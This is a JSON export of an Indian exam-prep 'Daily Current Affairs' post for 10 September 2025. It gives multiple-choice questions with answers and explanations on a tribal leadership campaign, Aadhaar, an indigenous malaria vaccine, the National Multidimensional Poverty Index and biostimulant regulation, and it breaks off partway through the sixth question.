{"id":2345,"date":"2025-09-11T04:21:50","date_gmt":"2025-09-11T04:21:50","guid":{"rendered":"https:\/\/iasquest.com\/?p=2345"},"modified":"2026-02-11T18:53:32","modified_gmt":"2026-02-11T18:53:32","slug":"daily-current-affairs-10-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-10-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 10-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which one of the following is the correct description of \u2018Adi Karmayogi Abhiyan\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) A national movement spearheaded by the Ministry of Tribal Affairs to build a decentralized tribal leadership and governance ecosystem.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) A digital initiative of NITI Aayog to promote startups in tribal areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) A financial inclusion scheme for tribal artisans under the Ministry of Finance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) A major reform initiative launched by the Government of India aimed at transforming the capacity and efficiency of the civil services.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (a) A national movement spearheaded by the Ministry of Tribal Affairs to build a decentralized tribal leadership and governance ecosystem.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> A GROUP OF EMINENT TRIBAL PEOPLE CALLS ON THE PRESIDENT AS PART OF ADI-KARMAYOGI ABHIYAAN<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>The Adi Karmayogi Abhiyan:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>The Adi Karmayogi Abhiyan is a national movement to build a decentralized tribal leadership and governance ecosystem.<\/li>\n\n\n\n<li>Spearheaded by the Ministry of Tribal Affairs, it empowers 20 Lakh tribal changemakers across 1 Lakh villages in 550 tribal-dominated districts through capacity building, convergence, and community participation. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>Since the campaign\u2019s launch in July 2025, it has mobilized nearly 20 lakh Adi-Karmayogis \u2014 including government officials, volunteers, women from self-help groups, and tribal youth \u2014 across one lakh villages.<\/li>\n\n\n\n<li>The initiative also includes one lakh Adi Seva Kendras, functioning as single-window service and grievance redressal centers.<\/li>\n\n\n\n<li>The Adi Karmayogi Portal serves as the digital backbone of this mission \u2014 enabling registration, training, monitoring, and transformation at scale.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Three Pillars of Leadership:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Adi Karmayogi \u2014 Government Officers including IAS, IPS, IFS, BDOs, District Collectors, Govt \/ State Govt. Officers \u2013 Key drivers of governance at State, District, Block, and Panchayat levels. They ensure convergence of schemes, institutional support, and responsive delivery.<\/li>\n\n\n\n<li>Adi Sahyogi \u2014 Youth, Teachers, Doctors \u2013 Motivated service providers and educated tribal youth who bridge access to education, health, awareness, and innovation.<\/li>\n\n\n\n<li>Adi Saathi \u2014 SHG Members (NRLM), Villagers, Tribal Elders \u2013 Grassroots changemakers and community anchors who mobilize people, preserve traditions, and uphold local wisdom.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Key Objectives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Train and mobilize 20 Lakh Tribal Leaders<\/li>\n\n\n\n<li>Establish 1 Lakh Adi Sewa Kendras \u2013 Single Window Tribal Service Centres<\/li>\n\n\n\n<li>Facilitate Village Vision 2030 Planning &amp; Development Action Plan<\/li>\n\n\n\n<li>Promote last-mile convergence &amp; effective service delivery<\/li>\n\n\n\n<li>Capture &amp; amplify voices of tribal communities<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Training modules for leadership development:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>Village Visioning Templates \u2013 Upload and monitor locally crafted development blueprints<\/li>\n\n\n\n<li>Adi Sewa Kendras \u2013 Locate services nearest to each village<\/li>\n\n\n\n<li>Changemaker Stories \u2013 Celebrate tribal leadership &amp; impact on the ground<\/li>\n\n\n\n<li>Feedback, Monitoring, Grievance Tools \u2013 Enable transparent and responsive governance<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Which one of the following is the correct description of 100 million Farmers?<\/strong> <br><br><strong>(a)<\/strong> <strong>It is a platform for accelerating the transition towards food and water systems that are net-zero (carbon), nature-positive and that aims to increase farmer resilience.<\/strong><br>(b) It is an international alliance and a network of individuals and farming organisations interested in supporting and strengthening the development of the organic animal husbandry.<br>(c) It is a digital platform fully integrated with service providers and built on blockchain that lets buyers, sellers and third parties trade fertilizers quickly and securely.<br>(d) It is a platform with the mission of encouraging the farmers to form Framer Product Organisations or Agribusiness Consortiums, thus facilitating the access to global open markets to sell their products.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165012\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165012<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><a href=\"https:\/\/adiprasaran.tribal.gov.in\/adikarmayogi\/Home.aspx\" target=\"_blank\" rel=\"noopener\">https:\/\/adiprasaran.tribal.gov.in\/adikarmayogi\/Home.aspx<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">1. Aadhaar can be accepted as a valid Proof of Identity (PoI) across India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">2. Aadhaar is not only an identity document, it is also considered as a citizenship document.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">3. Aadhaar is mandatory for availing all services in India including welfare schemes funded from the Consolidated Fund of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>In NEWS: <\/strong>EC directs Bihar CEO to accept Aadhaar for SIR<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Aadhaar \u2013 Proof of Identity:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>Aadhaar is a <strong>12-digit unique identification number<\/strong> issued by the Unique Identification Authority of India (UIDAI).<\/li>\n\n\n\n<li>It is based on an individual\u2019s <strong>biometric (fingerprints, iris scan) and demographic data<\/strong>.<\/li>\n\n\n\n<li>Aadhaar is accepted as a <strong>valid Proof of Identity (PoI)<\/strong> across India. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It is also accepted as <strong>Proof of Address (PoA)<\/strong>, <strong>Proof of Date of Birth (DoB)<\/strong>, and <strong>Proof of Relationship (PoR)<\/strong>, depending on the document version.<\/li>\n\n\n\n<li>Aadhaar is <strong>not a citizenship document<\/strong>, but only an identity document. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>It is used for <strong>availing subsidies, government schemes, opening bank accounts, mobile SIM verification, PAN linking, etc.<\/strong><\/li>\n\n\n\n<li>The <strong>Aadhaar Act, 2016<\/strong> governs its usage, subject to <strong>privacy and data protection safeguards<\/strong> (as per the Supreme Court judgment in <em>K.S. Puttaswamy vs. Union of India<\/em>, 2018).<\/li>\n\n\n\n<li>Aadhaar authentication is done online through <strong>OTP, biometrics, or demographic details<\/strong>.<\/li>\n\n\n\n<li>Aadhaar cannot be made <strong>mandatory for all services<\/strong>, but can be required for welfare schemes funded from the Consolidated Fund of India. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>For individuals, it serves as a <strong>universal, portable, and unique proof of identity<\/strong> across states and institutions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Aadhaar card can be used as a proof of citizenship or domicile.<br>2. Once issued, Aadhaar number cannot be deactivated or omitted by the Issuing Authority. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/elections\/bihar-assembly\/day-after-sc-order-election-commission-directs-bihar-ceo-to-accept-aadhaar-as-12th-document-in-voter-roll-revision\/article70030249.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/elections\/bihar-assembly\/day-after-sc-order-election-commission-directs-bihar-ceo-to-accept-aadhaar-as-12th-document-in-voter-roll-revision\/article70030249.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>3.With reference to \u2018AdFalciVax\u2019, recently seen in news, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">1. It is India\u2019s first indigenous multi-stage malaria vaccine.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">2. It has been developed using the bacterium Lactococcus lactis.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">3. It acts only after the parasite enters the bloodstream.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(c) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>In NEWS: <\/strong>Centre grants licences to five firms to manufacture its first indigenous malaria vaccine<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>India\u2019s First Indigenous Multi-Stage Malaria Vaccine: AdFalciVax<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>A recombinant chimeric multi-stage malaria vaccine. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Target: Plasmodium falciparum, the deadliest malaria parasite<\/li>\n\n\n\n<li>Platform: Produced using Lactococcus lactis (a safe bacteria used in biotechnology). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Developed by:<ul><li>Indian Council of Medical Research (ICMR) in collaboration with:<\/li><\/ul><ul><li>ICMR-RMRC Bhubaneswar<\/li><\/ul><ul><li>ICMR-National Institute of Malaria Research (NIMR)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>National Institute of Immunology (NII), New Delhi<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Purpose:<ul><li>Prevent infection before the parasite enters the bloodstream. <strong>Hence statement 3 is incorrect.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Reduce community-level transmission<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Key Features<ul><li>Multi-stage action: Acts at both pre-blood and transmission stages<\/li><\/ul><ul><li>Stable: Remains effective for 9+ months at room temperature<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Affordable, scalable, and ideal for low-resource settings<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Malaria:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>Malaria is a life-threatening disease caused by Plasmodium parasites, transmitted to humans through the bite of infected female Anopheles mosquitoes.<\/li>\n\n\n\n<li>The most dangerous malaria parasite is Plasmodium falciparum, responsible for most severe cases and deaths globally.<\/li>\n\n\n\n<li>Other human malaria parasites include P. vivax, P. malariae, P. ovale, and P. knowlesi (a zoonotic strain).<\/li>\n\n\n\n<li>India contributes about 1.4% of global malaria cases and 0.9% of global malaria deaths.<\/li>\n\n\n\n<li>Approximately 95% of India\u2019s population lives in malaria-endemic areas.<\/li>\n\n\n\n<li>80% of India\u2019s malaria burden comes from tribal, hilly, and difficult-to-reach regions, which house just 20% of the population.<\/li>\n\n\n\n<li>India is part of the WHO\u2019s E-2025 initiative to eliminate malaria by 2030.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. With reference to recent developments regarding \u2018Recombinant Vector Vaccines\u2019, consider the following statements:<\/strong> <br><br>1. Genetic engineering is applied in the development of these vaccines.<br>2. Bacteria and viruses are used as vectors. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/india-brings-in-industry-partners-to-manufacture-and-commercialise-its-first-indigenous-multi-stage-malaria-vaccine\/article70029864.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/health\/india-brings-in-industry-partners-to-manufacture-and-commercialise-its-first-indigenous-multi-stage-malaria-vaccine\/article70029864.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>4. Consider the following statements with respect to the National Multidimensional Poverty Index(MPI) in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. NITI\u202fAayog is the official nodal agency for implementing and institutionalizing the MPI in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. MPI value is arrived at by multiplying the headcount ratio and the intensity of poverty.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">3. Bank account and maternal health are the two indicators included in the National MPI, in addition to the indicators of the Global MPI.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>In NEWS:<\/strong> NITI Aayog in collaboration with UNDP organised a National Workshop on \u2018The National Multidimensional Poverty Index (MPI)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>National Multidimensional Poverty Index (MPI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>The National Multidimensional Poverty Index (MPI) in India is a collaborative effort spearheaded by NITI\u202fAayog, with technical development and support provided by UNDP and OPHI (Oxford Poverty and Human Development Initiative).<\/li>\n\n\n\n<li>NITI\u202fAayog is the official nodal agency for implementing and institutionalizing the MPI in India. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>India\u2019s National MPI (by NITI Aayog) is aligned with the global MPI methodology but customized to reflect national priorities (e.g., adding indicators like bank account access, maternal health). <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>The indices of the national MPI comprise:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li><strong>i) Headcount ratio (H): How many are poor?<\/strong>\n<ul class=\"wp-block-list\">\n<li>Proportion of multidimensionally poor in the population, which is arrived at by dividing number of multidimensionally poor persons by total population.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>ii) Intensity of poverty (A): How poor are the poor?<\/strong>\n<ul class=\"wp-block-list\">\n<li>Average proportion of deprivations which is experienced by multidimensionally poor individuals.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>To compute intensity, the weighted deprivation scores of all poor people are summed and then divided by the total number of poor people.<\/li>\n\n\n\n<li>MPI value is arrived at by multiplying the headcount ratio (H) and the intensity of poverty (A), reflecting both the share of people in poverty and the degree to which they are deprived.<\/li>\n\n\n\n<li><strong>MPI = H x A. Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Indicators of National Multidimensional Poverty Index:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"625\" height=\"493\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-6.jpg\" alt=\"\" class=\"wp-image-2346\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-6.jpg 625w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-6-300x237.jpg 300w\" sizes=\"auto, (max-width: 625px) 100vw, 625px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Indicators of Global Multidimensional Poverty Index:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">The Global Multidimensional Poverty Index (Global MPI) is developed and maintained by<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">Oxford Poverty and Human Development Initiative (OPHI) and the United Nations Development Programme (UNDP).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"504\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-7.jpg\" alt=\"\" class=\"wp-image-2347\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-7.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-7-300x242.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. The Multi-dimensional Poverty Index developed by Oxford Poverty and Human Development Initiative with UNDP support covers which of the following?<\/strong> <br><br>1. Deprivation of education, health, assets and services at household level<br>2. Purchasing power parity at national level<br>3. Extent of budget deficit and GDP growth rate at national level <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165241\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165241<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>5. Which of the following biostimulants are classified under the permitted categories of biostimulants under Schedule VI of Fertilizer Control Order (FCO), 1985?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">1. Botanical extracts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">2. Biochemicals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">3. Antioxidants<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">4. Anti-transpirants<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">5. Humic and fulvic acids and derivatives<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">6. Live micro-organisms including biofertilizers and biopesticides<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Select the correct answer using the codes given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) 1, 3, 4, 5 and 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) 1, 2, 3, 5 and 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) 1, 2, 3, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) 1, 2, 3, 4, 5 and 6<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (c) 1, 2, 3, 4 and 5 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS: <\/strong>Regulation of Biostimulant Products under Fertilizer Control Order (FCO), 1985<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Biostimulants:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">Biostimulants are natural or synthetic substances and microorganisms that enhance plant growth, yield, and resilience, not by providing nutrients directly, but by stimulating the plant\u2019s natural processes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Key Benefits:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>Improved root and shoot development<\/li>\n\n\n\n<li>Enhanced nutrient uptake and use efficiency<\/li>\n\n\n\n<li>Greater resilience to drought, salinity, and temperature extremes<\/li>\n\n\n\n<li>Improved flowering, fruiting, and crop quality<\/li>\n\n\n\n<li>Reduced dependency on chemical fertilizers and pesticides<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Regulation of Biostimulants in India under Fertilizer Control Order (FCO), 1985:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>FCO Definition of Biostimulants<\/strong> \u00a0 <br>\u201cBiostimulant\u201d means a substance or micro-organism (or both) that stimulates plant physiological processes when applied to plants, seeds, or rhizosphere to enhance nutrient uptake, growth, yield, crop quality, and stress tolerance \u2014 regardless of nutrient content, and excluding pesticides or plant growth regulators covered under the Insecticides Act, 1968. \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Permitted Categories under Schedule VI of FCO:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>Botanical extracts (including seaweed extracts)<\/li>\n\n\n\n<li>Biochemicals<\/li>\n\n\n\n<li>Protein hydrolysates and amino acids<\/li>\n\n\n\n<li>Vitamins<\/li>\n\n\n\n<li>Cell-free microbial products<\/li>\n\n\n\n<li>Antioxidants<\/li>\n\n\n\n<li>Anti-transpirants<\/li>\n\n\n\n<li>Humic and fulvic acids and derivatives<\/li>\n\n\n\n<li>Live micro-organisms (excluding biofertilizers and biopesticides)<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Current Status (as of Sept 2025):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-96\">\n<li>146 biostimulant products have been officially included in Schedule VI of FCO.<\/li>\n\n\n\n<li>These are notified in the Gazette of India and listed on the DoA website.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. Consider the following kinds of organisms:<\/strong> <br><br>1. Bacteria<br>2. Fungi<br>3. Flowering plants <br><br><strong>Some species of which of the above kinds of organisms are employed as bio pesticides?<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165081\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165081<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>6. Which of the following are 